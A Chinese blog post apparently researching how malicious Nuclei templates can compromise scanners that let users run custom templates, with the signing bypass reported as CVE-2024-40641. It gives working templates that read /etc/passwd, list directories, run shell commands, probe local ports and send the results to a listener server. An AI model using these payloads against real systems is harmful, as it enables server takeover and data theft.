恶意的Nuclei模板

最近看同事在集成nuclei,也看了一些集成nuclei的扫描工具,在思考一个问题:对于集成nuclei的安全工具(比如nuclei官方提供的云扫描功能),假如其允许用户编辑PoC模板,也可以指定扫描目标执行模板并查看扫描结果,那么写一个恶意的nuclei模板,是否就可以拿下这个工具的服务器?

本来以为直接用nuclei提供的code协议随随便便就可以执行任意命令了,结果发现nuclei还是做了些防护的。

写了几个恶意的模板:(以下在Linuxnuclei v3.2.9版本下测试)

读文件

读取文件,并用http把文件内容发送出来。 (threads指定为1,让文件按行顺序发送,避免服务端接收到乱序的内容)。

read-file.yaml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
id: read-file

info:
name: Read File
author: ovi3
severity: info

http:
- raw:
- |
POST /re HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded

§file_line§

payloads:
file_line: /etc/passwd
threads: 1

matchers-condition: and
matchers:
- type: status
status:
- 500

用python flask框架写个简单的web服务接收文件内容:

1
2
3
4
5
6
7
8
9
10
11
12
from flask import Flask, request
import logging

app = Flask(__name__)

@app.route('/re', methods=['POST'])
def post_route():
print(request.get_data(as_text=True))
return 'ok.', 200

if __name__ == '__main__':
app.run(host='0.0.0.0', port=80, debug=False)

执行模板:

1
nuclei -disable-update-check -t ./read-file.yaml -u http://ip

可惜nuclei做了防护,默认只能读template所在的目录下的文件,要读其他文件需要加上这个选项:

1
-lfa, -allow-local-file-access   allows file (payload) access anywhere on the system

执行:

1
nuclei -disable-update-check -t ./read-file.yaml -u http://ip -lfa

就能读到文件了,读取了/etc/passwd文件,再发送文件内容给http://ip

列目录

列目录,并用http把文件列表发送出来。

list-dir.yaml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
id: list-dir

info:
name: List Dir
author: ovi3
severity: info

flow: |
javascript();
set('items', template["javascript_response"])
http();

javascript:
- code: |
let m = require('nuclei/fs');
let items = m.ListDir('/etc/');
to_json(items)

http:
- raw:
- |
POST /re HTTP/1.1
Host: {{Hostname}}

{{items}}

matchers-condition: and
matchers:
- type: status
status:
- 500

执行:

1
nuclei -disable-update-check -t ./list-dir.yaml -u http://ip -lfa

同样需要加上-lfa选项。

执行任意代码

执行任意代码:code.yaml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
id: code

info:
name: example code template
author: ovi3

code:
- engine:
- sh
- bash
source: |
id

http:
- raw:
- |
POST /re HTTP/1.1
Host: {{Hostname}}

{{code_response}}

执行:

1
nuclei -disable-update-check -t code.yaml -u http://ip

报错:Excluded 1 code template[s] (disabled as default), use -code option to run code templates. 。 加上-code后再执行报错:Found 1 unsigned or tampered code template (carefully examine before using it & use -sign flag to sign them)。 也就是要执行code模板,需要加上-code选项并且模板文件已签名。

这儿有个方式可以绕过, 不过要用-w执行工作流模板文件而不是-t

code.yaml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
id: code

info:
name: example code template
author: ovi3

code:
- engine:
- sh
- bash
source: |
id

http:
- raw:
- |
POST /re HTTP/1.1
Host: {{Hostname}}

{{code_response}}

workflows:
- matchers:
- name: t

执行:

1
nuclei -disable-update-check -w code.yaml -u http://127.0.0.1 

code.yaml里加个workflows字段,假装是个工作流模板。执行时不需要-code和签名。该绕过已提交给nuclei官方: https://github.com/projectdiscovery/nuclei/security/advisories/GHSA-c3q9-c27p-cw9h (CVE-2024-40641, 在nuclei v3.3.0修复)

Blind SSRF

写法一,tcp.yaml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
id: tcp

info:
name: TCP
author: ovi3
severity: info

tcp:
- inputs:
- data: "ABC\r\n"
host:
- "{{Hostname}}"
port: 80

写法二:tcp2.yaml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
id: tcp2

info:
name: TCP2
author: ovi3
severity: info

javascript:
- code: |
const net = require("nuclei/net");
const conn = net.Open('tcp', Host + ":80");
conn.SetTimeout(3);
conn.Send("ABC\r\n");
conn.Close()
args:
Host: "{{Host}}"

执行:

1
nuclei -disable-update-check -t tcp.yaml -u 127.0.0.1 

向127.0.0.1的80端口发送数据。nuclei默认是允许给内网地址发送数据的,如果想限制下,就加上这个选项:

1
-lna, -restrict-local-network-access  blocks connections to the local / private network

尝试用DNS ReBinding绕过-lna选项,不行。看了代码,是对目标域名DNS解析后,再过滤,再直接用解析的IP结果去建立连接。

SSRF

SSRF, 再通过HTTP发送回显:

tcp3.yaml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
id: tcp3

info:
name: TCP3
author: ovi3
severity: info

javascript:
- code: |
for(let p of ["22", "80", "6379"]){
const net = require('nuclei/net');
const conn = net.Open('tcp', '127.0.0.1:' + p);
conn.SetTimeout(5);
conn.Send("ABC\r\n");
const data = conn.RecvFullHex(8192);
conn.Close();

const conn2 = net.Open('tcp', Host + ":80");
conn2.SetTimeout(5);
conn2.Send("POST /re HTTP/1.1\r\nContent-Length:" + (data.length + p.length + 2) + "\r\n\r\n" + p + ":\n" + data);
conn2.Close()
}
args:
Host: "{{Host}}"


执行:

1
nuclei -disable-update-check -t ./tcp3.yaml -u http://ip

扫描本地127.0.0.1的几个端口,若接收到TCP响应,则将响应数据发送到http://ip

使用file协议模板读取文件

上面提到nuclei默认不允许读取本地任意文件。但如果使用file协议就可以读取任意文件了,这需要满足:

  • 用户可编辑、添加模板文件
  • 用户可执行模板并获取到扫描结果(extractor提取出来的结果)
  • 程序未验证用户输入的目标是否是文件路径还是URL/Host。

file.yaml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
id: file

info:
name: file
author: ovi3
severity: medium

file:
- extensions:
- all

extractors:
- type: regex
regex:
- "(?s)^.*?$"

执行:

1
nuclei -disable-update-check -t file.yaml -u /etc/passwd

nuclei返回了/etc/passwd文件内容。

nuclei官方回复说这种方式读文件是允许的,正常设计(it's expected behavior for file protocol),不是安全问题。


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!